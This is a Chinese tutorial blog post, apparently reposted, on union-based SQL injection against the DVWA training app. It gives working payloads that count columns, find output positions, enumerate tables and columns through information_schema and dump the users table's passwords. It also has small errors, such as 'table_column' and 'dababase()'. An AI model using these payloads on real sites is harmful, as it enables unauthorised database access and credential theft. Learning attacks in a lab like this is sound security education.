sql注入(二)联合查询注入过程

 
 

注入步骤

  • 找注入点且得到闭合字符
  • 判断数据库类型
  • 猜解列数,得到显示位
  • 得到基本信息(如:数据库名、数据库版本、当前数据库名等)
  • 得到数据库名
  • 得到表名
  • 得到列名
  • 得到列值





1
1' order by 3 -- - 错误 2 1' order by 1 -- - 正确 3 1' order by 2 -- - 正确 (判断有几列,在这里有两列) 4 5 6 1' union select 1,2 -- - (查看回显位) 7 8 1' union select user(),database() -- - (查看库名) 9 1' union select table_name,2 from information_schema.tables where table_schema=database() -- - (查看表名) 10 1' union select column_name,2 from information_schema.columns where table_name='users' -- - (查看列名) 11 1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' -- - (用group_concat 能让查看的数据出现在一行 ) 12 -> DVWA数据库的users数据表中有以下几列: 13 user_id,first_name,last_name,user,password,avatar,last_login,failed_login 14 --------------------------------------------------------------------------- 获取数据库结构。 15 16 1' union select 1,group_concat(password) from users -- -
1 命令中的一些注意:
2 information_schema.tables  和 information_schema.columns   都是information_schema 中的表
3 table_schema   数据库名
4 table_name    数据库里面的表名
5 table_column   数据库表里的列名
6 from  要放到 union select  后面
7 例如    group_concat(table_name),2,3,4 from  information_schema.tables  where  table_schema=dababase()

猜你喜欢

转载自www.cnblogs.com/difengblog/p/11886434.html